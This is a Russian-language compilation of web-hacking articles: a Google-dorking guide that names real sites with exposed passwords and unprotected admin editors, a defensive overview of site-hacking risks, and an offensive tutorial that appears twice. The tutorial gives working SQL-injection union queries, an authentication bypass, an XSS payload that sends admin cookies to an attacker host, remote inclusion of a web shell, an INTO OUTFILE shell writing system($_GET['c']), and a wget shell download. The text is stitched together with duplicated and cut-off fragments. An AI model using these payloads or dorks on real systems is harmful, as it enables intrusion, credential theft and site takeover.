За последние годы было много статей, новостей о том, что хакеры используют поисковую систему Google, чтобы получить доступ к файлам. Возможно, эта статья кому-то нечего нового не даст, но лично я всегда задавался вопросом, как это все работает. Если решили читать дальше, то я рад! ? Джеймс Миддлетон написал статью в 2001 году о разговоре с хакерами, использующих специальную строку для поиска на Google, чтобы найти банковские данные:
За последние годы было много статей, новостей о том, что хакеры используют поисковую систему Google, чтобы получить доступ к файлам. Возможно, эта статья кому-то нечего нового не даст, но лично я всегда задавался вопросом, как это все работает. Если решили читать дальше, то я рад! ? Джеймс Миддлетон написал статью в 2001 году о разговоре с хакерами, использующих специальную строку для поиска на Google, чтобы найти банковские данные:
Один такой поиск ’Index of / +banques +filetype:xls’ в конечно счете показывал электронные таблицы Excel от Французских банков. Та же самая методика могла также использоваться, чтобы найти файлы c паролями и т.д.
Другая статья, которая появилась на wired.com, рассказывала, как популярный последние пару лет хакер, Адриан Ламо, использовал поисковую систему Google, чтобы получить доступ к websites больших корпораций.
Например, если в строке поиска напечатать фразу «Select a database to view» или фразу «FileMaker, Google выдаст приблизительно 200 ссылок, почти все, из которых ведут к FileMaker базам данных, доступных любому пользователю в online.
Статьи, новости продолжали появляться в сетевых изданиях. А правительственные сайты были по-прежнему уязвимы, т.к. админ скрипты могли быть найдены используя Google. Медицинские файлы, персональные отчеты, пароли и т.д. — все это казалось можно было найти только с помощью одного Google. Каждый раз при появлении новой статьи на эту тему, все говорили, будто это было что-то новое. Но в статьях никогда не объяснялось, как можно использовать данную поисковую систему для взлома различных сайтов. Последний раз читая одну из этих статей, я решил, что пришло время выяснить для себя непосредственно, мог ли Google делать все то, что о нем говорят. Далее я расскажу о том, что у меня получилось и дам описание некоторых методов использования строки поиска.
Теория
Теория довольно-таки проста. Вы думаете о каких-то данных, которые хотели бы получить. Попробуйте представить какой вид имеют эти данные, как они могли быть сохранены, и ищите эти файлы непосредственно.
ример: ищите *.xls файлы). Или можете взять более интересный подход, пробуйте подумать о программном обеспечении, которое позволит исполнить некоторые задачи или обратиться к некоторым файлам. И начинайте искать критические файлы или файлы настройки этого программного обеспечения.
Пример:
Есть система управления сайтом. Проверьте из каких файлов состоит эта система, затем введите в строке поиска название одного из файлов. После этого вы увидите ту ссылку (строчку), которая не доступна для обычных пользователей, проверьте программное обеспечение и увидите, что опция, «рассмотреть базу данных» лежит в пределах веб-страницы этого программного обеспечения, называемого “viewdbase.htm”, и тогда ищете “viewdbase.htm”.
Наиболее важная задача состоит в том, чтобы иметь ясную картину того, что вы хотите найти. После чего можете искать файлы или торговые марки, которые эти файлы имеют.
Google. Параметры поиска
Google позволяет Вам искать файлы различных форматов (*.xls, *.doc, *.pdf *.ps *.ppt *.rtf). Для этого в строку поиска следует ввести следующий текст:
Filetype:*.xls (для excel файлов)
или
filetype:*.doc (для word файлов).
Было бы интереснее, если попробовали искать файлы *.db, *.mdb. Между прочим, Google не ограничивает вас необходимостью поиска файлов определенных форматов. Можно искать любые файлы, которые приходят на ум — *.cfg файлы или *.pwd файлы, *.dat файлы и любые другие. Попробуйте поискать, и я думаю, получите интересные результаты.
Inurl
Другой полезный параметр поиска — inurl: опция, которая позволяет искать некоторые слова, в URL. Это дает возможность искать определенные каталоги / папки, особенно в комбинации с “index of” опциями, относительно которой я буду говорить позже. Пример: введем в строке поиска текст
inurl:admin
результатом будет websites URL, которые имеют слово “admin” в URL.
Index of
“Index of” — опция, о которой не особенно думали создатели google, но она оказывается очень удобной. Если использовать “index of” в строке поиска, то найдете списки каталогов определенных папок на серверах.
Пример:
«index of» admin или «index.of.admin»
Покажет большой список каталогов admin папок.
Site
Опция site позволяет получать результаты, которые принадлежат определенному расширению, названию, домену. Например можно искать .com сайты или .box.sk сайты или .nl сайты, но более интересней было бы искать определенные военные или правительственные websites.
Пример строки для поиска:
Site:mil или site:gov
Site:neworder.box.sk “board”
Intitle
Intitle — другая хорошая опция. Она позволяет искать HTML файлы, которые имеют некоторое слово или слова в заголовке. Формат intitle:wordhere.
Link
Опция Link позволяет проверять, какие сайты связаны с определенным сайтом. Поисковые серверы обеспечивают удобное средство, которое позволяет искать все сайты, которые имеют связи с доменом организации. Конечно эта информация не является существенной. Но может пригодится в некоторых случаях.
Пример:
link:cyberinfo.ru
Объединение Параметров поиска
Вышеупомянутые параметры поиска могут приводить к некоторым интересным результатам, а при их объединении полученная информация будет более точной. Например, можно использовать следующую строку для поиска:
inurl:nasa.gov filetype:xls »restricted» or this one: site:mil filetype:xls »password»
или
site:mil “index of” admin
Информация, полученная лично мною в результате использования вышеперечисленных методов
Определенный формат файлов: *.xls, *.doc, *.pdf *.ps *.ppt *.rtf
Вы можете попробовать искать ту информацию, которая Вам кажется интересной. А для меня было интересно следующее:
Password, passwords, pwd, account, accounts, userid, uid, login, logins, secret, secrets, all followed by either *.doc or *.xls or *.db
Это привело меня к весьма интересным результатам, особенно с *.db опцией, но я также нашел некоторые passwords.doc файлы, содержащие рабочие пароли.
Http: // www.doc.state.ok.us/Spreadsheets/private%20prison%20survey%20for%20web.xls
Http: // www.bmo.com/investorrelations/current/current/suppnew/private.xls
Http: // www.nescaum.org/Greenhouse/Private/Participant_List.xls
Http: // www.dscr.dla.mil/aviationinvest/attendance_5Apr01.xls
Http://web.nps.navy.mil/~drdolk/is3301/PART_IS3301. XLS
Admin.cfg
Admin.cfg, как правило эти файлы от различных движков сайтов. И очень часто, эти файлы содержат важную информацию которая, не должна быть доступна для людей, просматривающих сеть. Я пробовал поиск admin.cfg, используя следующую строку для поиска на google:
inurl:admin.cfg “index of”
Это привело меня ко многим результатам, из которых многие были бесполезны. Но некоторые были даже очень полезны
Http: // www.alternetwebdesign.com/cgi-bin/directimi/admin.cfg,
который содержал пароль. Это был admin пароль для базы данных, расположенной в
http://www.alternetwebdesign.com/cgi-bin/directimi/database.cgi?Admin.cfg
Эта база данных содержала важные данные клиентов этой компании. Я тогда послал письмо этой компании о баге на их сайте. Они ответили мне в очень дружественной манере и сказали, что постараются как можно быстрее исправить данную ошибку.
Webadmin
Некоторое время назад, при работе над этой статьей, я столкнулся с этим website:
wacker-welt.de/webadmin
На Website объясняется, что “webadmin” — маленькая часть программного обеспечения, которое позволяет удаленно редактировать, части website, загружать файлы, и т.д. Главная страница для центра управления webadmin называется ‘Webeditor.php’. Очевидно, мой следующий шаг — посетить google и использовать тэг inurl, чтобы найти webeditor.php. Я использовал следующую строку для поиска:
Inurl:webeditor.php
И нашел следующие результаты:
orbyonline.com/php/webeditor.php
artematrix.org/webeditor/webeditor.php
www.directinfo.hu/kapu/webeditor.php
Все эти webeditor.php файлы были доступны любому, просто, потому что владельцы не сумели правильно защитить эти страницы, используя .htacces. Эта ошибка позволяет кому угодно заменять webpages на сервере и таким образом стереть сайт, а также возможна загрузка файлов, обеспечивающих полный доступ к серверу.
Просматривая эти сайты, я заметил, что файл, позволяющий загружать любые файлы, называется
“File_upload.php”, который я начал искать в google и нашел множество примеров.
www.hvcc.edu /~kantopet/ciss_225/examples/begphp/ch10/ file_upload.php
Хороший пример:
www.pelicandecals.com/admin/webeditor.php
Сценарий позволяет Вам изменять, заменять файлы, подобно в вышеупомянутых примерах, включая index.php.
В теории можно было писать или загружать любой злонамеренный сценарий, последствия очевидны.
Дополнительные Советы
Помните, что английский язык – это не единственный язык, который используется при поиске. Также возможна попытка поиска слов или строк на русском, французском или немецком языках, и т.д. Например “beheer” — Голландское слово для “администрации”.
Поиск файлов “config.inc.php” или “mysql.cfg”, которые могут содержать mySQL пароль и комбинации имени пользователя.
v-zlom.cc
by Saint
ВСТУПЛЕНИЕ
Данная статья не претендует на звание самой лучшей, т.к. существует множество статей на данную тему. Она призвана собрать в себе некоторые из массы приемов по борьбе против админов.
Часть 1. ПРЕДВАРИТЕЛЬНОЕ ОБСЛЕДОВАНИЕ «ПАЦИЕНТА».
Глава 1. Статичность или динамичность?
Допустим у нас есть сайт _www.xxx.com. Первое, что необходимо сделать – это просмотреть его контент.
Бывают сайты двух типов – со статическим или же с динамическим наполнением. Второй тип встречается чаще, т.к. каждый раз создавать новую страницу – это большой труд, а если таких страниц нужно 100… Первый тип используется либо новичками(для создания личной странички) или сильно защищаемыми компаниями, дабы обезопасить себя от большинства приемов взлома, но, как говорится, никто не застрахован… Второй тип для нас предпочтительнее, т.к. из-за динамичности трудно отслеживать все появляющиеся ошибки.
Итак, смотрим какие страницы присутствуют. Для статического контента свойственны страницы с расширениями *.htm, *.html (Но это не всегда так, т.к. можно прятать сценарии на PHP или ASP в виде HTML). Распознать статические страницы можно по их количеству, отсутствию параметров в адресной строке и прямым переходам на другие страницы.
я динамических сайтов характерны расширения *.php, *.phtml, *.php3, *.asp, *.aspx, *.jsp — это расширения языков обработки сценариев.
Пример: На сайте _http://www.xxx.com присутствуют 5 страниц: index.html, masha.html, pasha.html, ih_lubov.html, about.htm. Этот сайт скорее всего статический… А вот страница вида _http://www.yyy.com/index.html?page=sasha.html наводит на подозрение о динамичности сайта.
Глава 2. Кто тут ещё?
Возможно, что обследуемый сайт состоит всего из 3-4 статических страниц и найти ошибки в них нет возможности. В этом случае нам может помочь то обстоятельство, что на одном сервере могут размещаться несколько сайтов, некоторые из них могут иметь динамическое наполнение или открытый доступ в админки(что бывает очень редко). Помочь найти таких соседей на помогут специальные сервисы, вот адреса трёх из таких:
— http://DomainsDB.net
— http://hack-shop.org.ru/revip.php
— http://www.seologs.com/ip-domains.html.
Далее можно проверить сервер на наличие других сервисов, таких как FTP, Telnet, SSH, HTTPS(защищенный HTTP). Иногда бывает так, что админ полностью защитил свой контент, а забыл про сервис FTP и оставил его открытым.
Пример: Сайт _http://www.xxx.com хорошо защищен, но на этом IP сидит ещё один сайт _http://www.yyy.com (как мы узнали из вышеупомянутых сервисов).
защищен тоже хорошо, но набив в адресной строке _ftp://www.yyy.com мы видим весь контент сайта и можем залить туда шелл (специальный скрипт позволяющий выполнять в системе сервера различные команды). Вообще, заливка шелла – это предпоследний шаг при получении полного доступа к серверу.
Глава 3. Ближе к телу.
Итак, зная многое о сайте, что можно ещё сделать? Можно просканировать «скрытый» контент сайта для получения нужной информации. Многие админы хотят, чтобы их детище было популярным у людей, поэтому они всячески пытаются завлечь к себе поисковые системы. Это делается для того, чтобы человек в поисках информации заходил на сайт через поисковые серверы (yandex.ru, rambler.ru, google.com, msn.com). У этих систем есть свои «добыватели информации» — роботы, которые ходят по всем ссылкам и все куда-то записывают, а потом выдают при нажатии на кнопку ПОИСК. Чтобы эти роботы не лазили куда им не следует, часто создают в корне сайта специальный файл с инструкциями боту. Он называется robots.txt. В нём иногда можно найти много интересной информации.
Также можно просканировать весь сайт при помощи специальных утилит таких как NIKTO, Xspyder и др.
се их можно найти в интернете). Они помогут отыскать скрытые от наших глаз файлы и папки.
Пример: По адресу _http://www.xxx.com/robots.txt мы видим, что существует папка /forum, хотя на самом сайте о ней никакого упоминания нет. Переходим по адресу _http://www.xxx.com/forum и лицезреем только что сделанный форум, а просканировав сайт сканером, мы находим админку без авторизации — _http://www.xxx.com/admin.
Часть 2. АТАКА.
Глава 1. Перед атакой.
При просмотре сайта опытный глаз всегда заметит, самодельный сайт или же он построен на каком-либо популярном движке. А для этих движков почти все уязвимости известны (за исключение так называемых private-sploit, которые известны только узкому кругу людей и стоят больших денег). Новичку же стоит обращать своё внимание на следующие вещи:
— Надпись Powered by xxxxxxxx говорит, что название движка xxxxxxxx;
— Стиль оформеления такой же, как у движка yyyyyyy;
— Название скриптов такое же, как у движка zzzzzzz.
Если вы поняли, какой движок управляет сайтом, то нужно поискать уязвимости самому, скачав такой же, или же, если не хватает знаний, то воспользоваться специализированными сайтами, такими как XakNet.ru, AntiChat.ru, SecurityLab.ru, milw0rm.com. Там в специальных разделах лежит информация почти о всех уязвимостях известных движков, а также присутствуют сплоиты – специальные скрипты, автоматически взламывающие сайт (их обычно искользуют либо новички за не знанием, либо профи для упрощения процесса взлома).
Для самописных сайтов существуют несколько видов атак на веб-контент, самые распространённые:
— PHP-инъекции;
— SQL-инъекции;
— XSS-атаки.
Глава 2. PHP-injection.
PHP-инъекции – это вид атаки, при котором вместо положенной страницы взломщик выводит ту, которая ему нужна. Наличие данной уязвимости характерно для сайтов, у которых адресная строка выглядит примерно так – _http://www.xxx.com/index.php?page=sasha.php — это идеальная PHP-инъеция, при которой скрипт не проверяет(в большинстве случаев) ни название файла, ни его расширение. Есть инъекции, при которых расширение файла дописывается самим скриптом — _http://www.xxx.com/index.php?page=sasha — выведет страницу sasha.html. Для обхода данного «запрета» (А нам нужно вывести например файл с паролями от базы данных – config.php) используется 0-баг, суть которого состоит в том, что в конце полного названия файла ещё приписывается %00, т.е. адрес примет вид _http://www.xxx.com/index.php?page=config.php%00 (%00 означает «конец строки»). Таким образом на экране(или в коде страницы) выведется содержимое файла config.php, а там…..
Глава 3. SQL-injection.
Многие сайты хранят важную информацию в базах данных. Наиболее популярными в интернете считаются MySQL и MSSQL базы данных. Сайт при помощи запросов может обратиться к базе данных, она выдаст ответ, а скрипт выдаст его в нужном формате пользователю. Так вот, если изменить каким-то образом запрос, мы можем получить нужный нам результат.
Проверить на наличие SQL-инъекции можно подставив в параметр символ «‘», который в базах данных является ограничителем запроса, т.е. если есть адрес _http://www.xxx.com/index.php?id=365 и мы подставив ‘ после параметра 365 — _http://www.xxx.com/index.php?id=365’ получаем вместо вывода на экран информации ошибку, то это говорит о наличии SQL-инъекции. Дальше – все зависит от вида и версии базы данных. Описывать здесь все подвиды SQL-атак я не буду, т.к. объём статьи сразу увеличится в разы, но с радостью скажу где про это можно почитать подробно, т.к. статей по данному виду уязвимостей — множество. Вот ссылки на специализированные сайты:
— http://XakNet.ru
— http://AntiChat.ru и др.
Пример: Адресная строка сайта выглядит так: _http://www.xxx.com/index.php?id=365. Мы, подставив ‘ — _http://www.xxx.com/index.php?id=365’ — получаем ошибку вида “MySQL Error: …”. Подбираем количество столбцов при помощи “+order+by+XX/*”, где XX – число, которое означает номер столбца:
_http://www.xxx.com/index.php?id=365+order+by+50/* — ошибка есть…
_http://www.xxx.com/index.php?id=365+order+by+25/* — ошибка есть…
_http://www.xxx.com/index.php?id=365+order+by+15/* — ошибки нет, значит кол-во столбцов между 15 и 25… Далее, тем же путем находим, что количество столбцов равно 16.
_http://www.xxx.com/index.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 ,16/* — выводятся 2,4,6,8,15. Подставляем user(), version(), database() на место выводимых чисел и получаем информацию о пользователе, версии и название используемой базы данных. Дальше зависит от данных, которые мы хотим получить…
Также, если при входе в закрытые разделы сайта используется база данных, мы можем обойти авторизацию при помощи конструкции вида: ’ or 1=1/*, подставив её вместо логина, пароля.
Глава 4. XSS-атака.
Этот вид атаки используется для получения Coockies админов. Если при вводе в какое-нибудь поле, например «ПОЛНОЕ ИМЯ» в гостевой книге, конструкции вида <script>ALERT(‘Admin – FUCK’)(</script> и последующем просмотре своей записи на экране появляется окно с надписью «Admin – FUCK», то это говорит о наличии XSS-уязвимости. Если вставить специальный код, то при просмотре админом данного сообщения его куки прилетят к вам на сниффер, а в них пароль или его хэш, или сеcсия…
Пример: Сайт _http://www.xxx.com имеет гостевую книгу, в которой поле имя подвержено XSS-атаке: вставляем в это поле <script>ALERT(‘Admin – FUCK’);</script> и лицезреем на экране «Admin – FUCK». Теперь вставляем «<script>img = new Image(); img.src=http://hacker.ru/snf.jpg?"+document.cookie;</script>» и ждем когда админ просмотрит вашу писятину… Получаем через некоторое время на сниффер MD5-хэш его пароля. Расшифровываем на http://HashCracking.info или подобных сервисах. Дальше – в админку…
Часть 3. ШЕЛЛ, РУТ.
Глава 1. Шелл-шелл-ля-фам.
Итак, мы в админке, или имеем root-доступ к базе данных, или PHP-inj удаленного файла, или FTP-доступ к сайту, что дальше. А дальше еще проще:
1) FTP-доступ или АДМИНКА. Просто заливаем понравившийся вам скрипт шелла и к следующей главе.
2) PHP-inj. Заливаем скрипт шелла на какой-нибудь бесплатный хостинг, например, narod.ru, и инклудим его примерно так — _http://www.xxx.com/index.php?page=http://vasiliy.narod.ru/shell.php, потом заливаем шелл прямо на сайт.
3) Root MySQL – если не фильтруется кавычка, то можно залить шелл при помощи запроса _http://www.xxx.com/index.php?id=-1+union+select+1,2,3,4,5,6,7,8, 0x3C3F2073797374656D28245F4745545B2763275D293B203F 3E,10,11,12,13,14,15,16+FROM+mysql.user+INTO+OUTFI LE+’/home/www/shell.php’/*, где 0x3C3F2073797374656D28245F4745545B2763275D293B203F 3E – это закодированное выражение <? system($_GET[‘c’]); ?>, позволяющее выполнять команды на сервере. Далее заливаем более удобный для работы шелл командой _http://www.xxx.com?c=wget -O shell.php _http://vasiliy.narod.ru/shell.php.
[U]Глава 2. Руууут.[/u]
Залив шелл мы теперь можем выполнять команды на сервере, а первой командой будет id, которая показывает ваши права в системе, а они обычно скромные. Хочется большего, тогда смотрим, что за ОС стоит на сервере(команда uname –a). Под эту версию ищем сплойт на сайте , компилируем, запускаем(как это делать описано либо в начале самого сплойта, либо в статьях) и… руууууут! Цель достигнута.
Часть 4. ОБЕЗОПАСИЛИСЬ ЛИ?
Каждое преступление наказуемо, поэтому надо заранее себя обезопасить – проксики должны стать вашими лучшими друзьями…
forum.uinsell.net
Классификация способов взлома сайтов
Основными методами взлома веб-сайтов являются: Методов взлома сайта достаточно много:
- SQL injection – инъекция SQL-кода в формах на сайте. Таким способом можно получить несанкционированный доступ к базе данных сайта.
- XSS – запуск вредоносного кода JavaScript на сайте. Обычно код вводится в формах на сайте или передается в качестве переменной GET.
- Уязвимости в движке сайта или системе наполнения контентом – зная версию CMS сайта злоумышленник может найти уязвимости для этого движка и эксплоиты для этих уязвимостей.
- Фишинг – с помощью фишинга злоумышленник может узнать пароль от админ-панели или FTP.
- Shared-хостинг – если на таком хостинге неправильно настроены права доступа, то имеется возможность взломать сайт через уязвимых «соседей».
После удачного взлома перед хакером открываются огромные возможности: украсть базу клиентов, украсть средства клиентов (виртуальную валюту, призовые баллы и тп), заразить посетителей вредоносными программами, размещать несанкционированную рекламу на взломанном сайте, продать доступ от админ-панели, устроить фишинг-рассылку и т.п.
» />
Цели взломщиков веб-сайтов
Для выбора жертвы хакер может использовать так называемые Google Dorks — специальных запросов в поисковой машине Google, которые позволяют найти уязвимые сайты. Возможно, что хакер атакует хостинг-провайдера, тогда будут один за одним взломана огромное количество сайтов этого хостинг-провайдера. Целью взлома могут являться как деньги, так и информация, например о клиентах, или поставщиках в случае с интернет-магазинами. Также целью злоумышленников может быть трафик сайта. Трафик с популярных веб-сайтов может быть перепродан и перенаправлен на вредоносные сайты или сайты партнёрок для дальнейшей монетизации (пользователи могут быть заражены вредоносными программами или же стать жертвами мошенников, покупателями нелегальных и полулегальных товаров).
В некоторых странах правоохранительные органы могут взламывать веб-сайты, если есть подозрения, что эти сайты распространяют детскую порнографию, пропагандируют наркотики или суциид, и т.д.
Кому выгоден взлом сайтов?
Заказчиками взлома могут являться конкуренты в бизнесе, недоброжелатели или просто мошенники, желающие заработать денег. Для взлома могут использоваться фишинговые рассылки, так что следует уделять внимание письмам, которые вы открываете и ссылкам по которым переходите. Также важно следить за отсутствием уязвимостей в своем коде или версии движка, на котором работает сайт, например, для версии WordPress 4.7.0 недавно была обнаружена уязвимость “Более 100 000 сайтов на WordPress были атакованы через свежую критическую уязвимость”, позволяющая получить полный контроль над сайтом-жертвой.
Важно понимать, что взлом сайта не обязательно является следствием чьего-либо заказа. Он может быть взломан вместе с множеством других, имеющих аналогичную уязвимость в коде, которую обнаружили злоумышленники. Таким образом, киберпреступники в результате массового взлома получают несанкционированный доступ к огромному количеству сайтов, их трафику, базам пользователей и конфиденциальной информации. Все это монетизируется через криминаль
Анализ риска
Основной риск для владельца сайта при взломе – полная потеря дохода. При взломе, хакер может просто удалить сайт. Если хакер разместит на взломанном сайте вирус – сайт рискует попасть в черный список антивирусов и его не будут индексировать поисковые машины, что чревато падением посещаемости сайта, а следовательно и дохода.
Также, целью хакеров может стать конфиденциальная информация пользователей сайта: ие данные, фото, e-mail, номера телефонов, номера кредитных карт. Все это дает отличную базу для шантажа, а также любую информацию можно продать.
Злоумышленники могут установить бекдоры и работать на сайте сколь угодно долго, оставаясь незамеченными. При этом ресурсы взломанного сервера могут использоваться преступниками для DDoS-атак на другие веб-сайты или для майнинга криптовалют.
Следует следить за любыми изменениями кода сайта. Также стоит обратить внимание на аномальными изменениями базы данных – возможно это сделано злоумышленниками.
www.anti-malware.ru
ВСТУПЛЕНИЕ
Данная статья не претендует на звание самой лучшей, т.к. существует множество статей на данную тему. Она призвана собрать в себе некоторые из массы приемов по борьбе против админов.
Часть 1. ПРЕДВАРИТЕЛЬНОЕ ОБСЛЕДОВАНИЕ «ПАЦИЕНТА».
Глава 1. Статичность или динамичность?
Допустим у нас есть сайт _www.xxx.com. Первое, что необходимо сделать – это просмотреть его контент.
Бывают сайты двух типов – со статическим или же с динамическим наполнением. Второй тип встречается чаще, т.к. каждый раз создавать новую страницу – это большой труд, а если таких страниц нужно 100… Первый тип используется либо новичками(для создания личной странички) или сильно защищаемыми компаниями, дабы обезопасить себя от большинства приемов взлома, но, как говорится, никто не застрахован… Второй тип для нас предпочтительнее, т.к. из-за динамичности трудно отслеживать все появляющиеся ошибки.
Итак, смотрим какие страницы присутствуют. Для статического контента свойственны страницы с расширениями *.htm, *.html (Но это не всегда так, т.к. можно прятать сценарии на PHP или ASP в виде HTML). Распознать статические страницы можно по их количеству, отсутствию параметров в адресной строке и прямым переходам на другие страницы. Для динамических сайтов характерны расширения *.php, *.phtml, *.php3, *.asp, *.aspx, *.jsp — это расширения языков обработки сценариев.
Пример: На сайте _http://www.xxx.com присутствуют 5 страниц: index.html, masha.html, pasha.html, ih_lubov.html, about.htm. Этот сайт скорее всего статический… А вот страница вида _http://www.yyy.com/index.html?page=sasha.html наводит на подозрение о динамичности сайта.
Глава 2. Кто тут ещё?
Возможно, что обследуемый сайт состоит всего из 3-4 статических страниц и найти ошибки в них нет возможности. В этом случае нам может помочь то обстоятельство, что на одном сервере могут размещаться несколько сайтов, некоторые из них могут иметь динамическое наполнение или открытый доступ в админки(что бывает очень редко). Помочь найти таких соседей на помогут специальные сервисы, вот адреса трёх из таких:
— [Ссылки доступны только зарегистрированным пользователям . Зарегистрируйся, чтобы увидеть ссылку.]
— [Ссылки доступны только зарегистрированным пользователям . Зарегистрируйся, чтобы увидеть ссылку.]
— [Ссылки доступны только зарегистрированным пользователям . Зарегистрируйся, чтобы увидеть ссылку.].
Далее можно проверить сервер на наличие других сервисов, таких как FTP, Telnet, SSH, HTTPS(защищенный HTTP). Иногда бывает так, что админ полностью защитил свой контент, а забыл про сервис FTP и оставил его открытым.
Пример: Сайт _http://www.xxx.com хорошо защищен, но на этом IP сидит ещё один сайт _http://www.yyy.com (как мы узнали из вышеупомянутых сервисов). Он защищен тоже хорошо, но набив в адресной строке _ftp://www.yyy.com мы видим весь контент сайта и можем залить туда шелл (специальный скрипт позволяющий выполнять в системе сервера различные команды). Вообще, заливка шелла – это предпоследний шаг при получении полного доступа к серверу.
Глава 3. Ближе к телу.
Итак, зная многое о сайте, что можно ещё сделать? Можно просканировать «скрытый» контент сайта для получения нужной информации. Многие админы хотят, чтобы их детище было популярным у людей, поэтому они всячески пытаются завлечь к себе поисковые системы. Это делается для того, чтобы человек в поисках информации заходил на сайт через поисковые серверы (yandex.ru, rambler.ru, google.com, msn.com). У этих систем есть свои «добыватели информации» — роботы, которые ходят по всем ссылкам и все куда-то записывают, а потом выдают при нажатии на кнопку ПОИСК. Чтобы эти роботы не лазили куда им не следует, часто создают в корне сайта специальный файл с инструкциями боту. Он называется robots.txt. В нём иногда можно найти много интересной информации.
Также можно просканировать весь сайт при помощи специальных утилит таких как NIKTO, Xspyder и др. (Все их можно найти в интернете). Они помогут отыскать скрытые от наших глаз файлы и папки.
Пример: По адресу _http://www.xxx.com/robots.txt мы видим, что существует папка /forum, хотя на самом сайте о ней никакого упоминания нет. Переходим по адресу _http://www.xxx.com/forum и лицезреем только что сделанный форум, а просканировав сайт сканером, мы находим админку без авторизации — _http://www.xxx.com/admin.
Часть 2. АТАКА.
Глава 1. Перед атакой.
При просмотре сайта опытный глаз всегда заметит, самодельный сайт или же он построен на каком-либо популярном движке. А для этих движков почти все уязвимости известны (за исключение так называемых private-sploit, которые известны только узкому кругу людей и стоят больших денег). Новичку же стоит обращать своё внимание на следующие вещи:
— Надпись Powered by xxxxxxxx говорит, что название движка xxxxxxxx;
— Стиль оформеления такой же, как у движка yyyyyyy;
— Название скриптов такое же, как у движка zzzzzzz.
Если вы поняли, какой движок управляет сайтом, то нужно поискать уязвимости самому, скачав такой же, или же, если не хватает знаний, то воспользоваться специализированными сайтами, такими как XakNet.ru, AntiChat.ru, SecurityLab.ru, milw0rm.com. Там в специальных разделах лежит информация почти о всех уязвимостях известных движков, а также присутствуют сплоиты – специальные скрипты, автоматически взламывающие сайт (их обычно искользуют либо новички за не знанием, либо профи для упрощения процесса взлома).
Для самописных сайтов существуют несколько видов атак на веб-контент, самые распространённые:
— PHP-инъекции;
— SQL-инъекции;
— XSS-атаки.
Глава 2. PHP-injection.
PHP-инъекции – это вид атаки, при котором вместо положенной страницы взломщик выводит ту, которая ему нужна. Наличие данной уязвимости характерно для сайтов, у которых адресная строка выглядит примерно так – _http://www.xxx.com/index.php?page=sasha.php — это идеальная PHP-инъеция, при которой скрипт не проверяет(в большинстве случаев) ни название файла, ни его расширение. Есть инъекции, при которых расширение файла дописывается самим скриптом — _http://www.xxx.com/index.php?page=sasha — выведет страницу sasha.html. Для обхода данного «запрета» (А нам нужно вывести например файл с паролями от базы данных – config.php) используется 0-баг, суть которого состоит в том, что в конце полного названия файла ещё приписывается %00, т.е. адрес примет вид _http://www.xxx.com/index.php?page=config.php%00 (%00 означает «конец строки»). Таким образом на экране(или в коде страницы) выведется содержимое файла config.php, а там…..
Глава 3. SQL-injection.
Многие сайты хранят важную информацию в базах данных. Наиболее популярными в интернете считаются MySQL и MSSQL базы данных. Сайт при помощи запросов может обратиться к базе данных, она выдаст ответ, а скрипт выдаст его в нужном формате пользователю. Так вот, если изменить каким-то образом запрос, мы можем получить нужный нам результат.
Проверить на наличие SQL-инъекции можно подставив в параметр символ «‘», который в базах данных является ограничителем запроса, т.е. если есть адрес _http://www.xxx.com/index.php?id=365 и мы подставив ‘ после параметра 365 — _http://www.xxx.com/index.php?id=365’ получаем вместо вывода на экран информации ошибку, то это говорит о наличии SQL-инъекции. Дальше – все зависит от вида и версии базы данных. Описываеть здесь все подвиды SQL-атак я не буду, т.к. объём статьи сразу увеличится в разы, но с радостью скажу где про это можно почитать подробно, т.к. статей по данному виду уязвимостей — множество. Вот ссылки на специализированные сайты:
— [Ссылки доступны только зарегистрированным пользователям . Зарегистрируйся, чтобы увидеть ссылку.]
— [Ссылки доступны только зарегистрированным пользователям . Зарегистрируйся, чтобы увидеть ссылку.]
— [Ссылки доступны только зарегистрированным пользователям . Зарегистрируйся, чтобы увидеть ссылку.] и др.
Пример: Адресная строка сайта выглядит так: _http://www.xxx.com/index.php?id=365. Мы, подставив ‘ — _http://www.xxx.com/index.php?id=365’ — получаем ошибку вида “MySQL Error: …”. Подбираем количество столбцов при помощи “+order+by+XX/*”, где XX – число, которое означает номер столбца:
_http://www.xxx.com/index.php?id=365+order+by+50/* — ошибка есть…
_http://www.xxx.com/index.php?id=365+order+by+25/* — ошибка есть…
_http://www.xxx.com/index.php?id=365+order+by+15/* — ошибки нет, значит кол-во столбцов между 15 и 25… Далее, тем же путем находим, что количество столбцов равно 16.
_http://www.xxx.com/index.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 ,16/* — выводятся 2,4,6,8,15. Подставляем user(), version(), database() на место выводимых чисел и получаем информацию о пользователе, версии и название используемой базы данных. Дальше зависит от данных, которые мы хотим получить…
Также, если при входе в закрытые разделы сайта используется база данных, мы можем обойти авторизацию при помощи конструкции вида: ’ or 1=1/*, подставив её вместо логина, пароля.
Глава 4. XSS-атака.
Этот вид атаки используется для получения Coockies админов. Если при вводе в какое-нибудь поле, например «ПОЛНОЕ ИМЯ» в гостевой книге, конструкции вида <script>ALERT(‘Admin – FUCK’)(</script> и последующем просмотре своей записи на экране появляется окно с надписью «Admin – FUCK», то это говорит о наличии XSS-уязвимости. Если вставить специальный код, то при просмотре админом данного сообщения его куки прилетят к вам на сниффер, а в них пароль или его хэш, или ссесия…
Пример: Сайт _http://www.xxx.com имеет гостевую книгу, в которой поле имя подвержено XSS-атаке: вставляем в это поле <script>ALERT(‘Admin – FUCK’);</script> и лицезреем на экране «Admin – FUCK». Теперь вставляем «<script>img = new Image(); img.src=http://hacker.ru/snf.jpg?"+document.cookie;</script>» и ждем когда админ просмотрит вашу писятину… Получаем через некоторое время на сниффер MD5-хэш его пароля. Расшифровываем на [Ссылки доступны только зарегистрированным пользователям . Зарегистрируйся, чтобы увидеть ссылку.], [Ссылки доступны только зарегистрированным пользователям . Зарегистрируйся, чтобы увидеть ссылку.], [Ссылки доступны только зарегистрированным пользователям . Зарегистрируйся, чтобы увидеть ссылку.]. Дальше – в админку…
Часть 3. ШЕЛЛ, РУТ.
Глава 1. Шелл-шелл-ля-фам.
Итак, мы в админке, или имеем root-доступ к базе данных, или PHP-inj удаленного файла, или FTP-доступ к сайту, что дальше. А дальше еще проще:
1) FTP-доступ или АДМИНКА. Просто заливаем понравившийся вам скрипт шелла и к следующей главе.
2) PHP-inj. Заливаем скрипт шелла на какой-нибудь бесплатный хостинг, например, narod.ru, и инклудим его примерно так — _http://www.xxx.com/index.php?page=http://vasiliy.narod.ru/shell.php, потом заливаем шелл прямо на сайт.
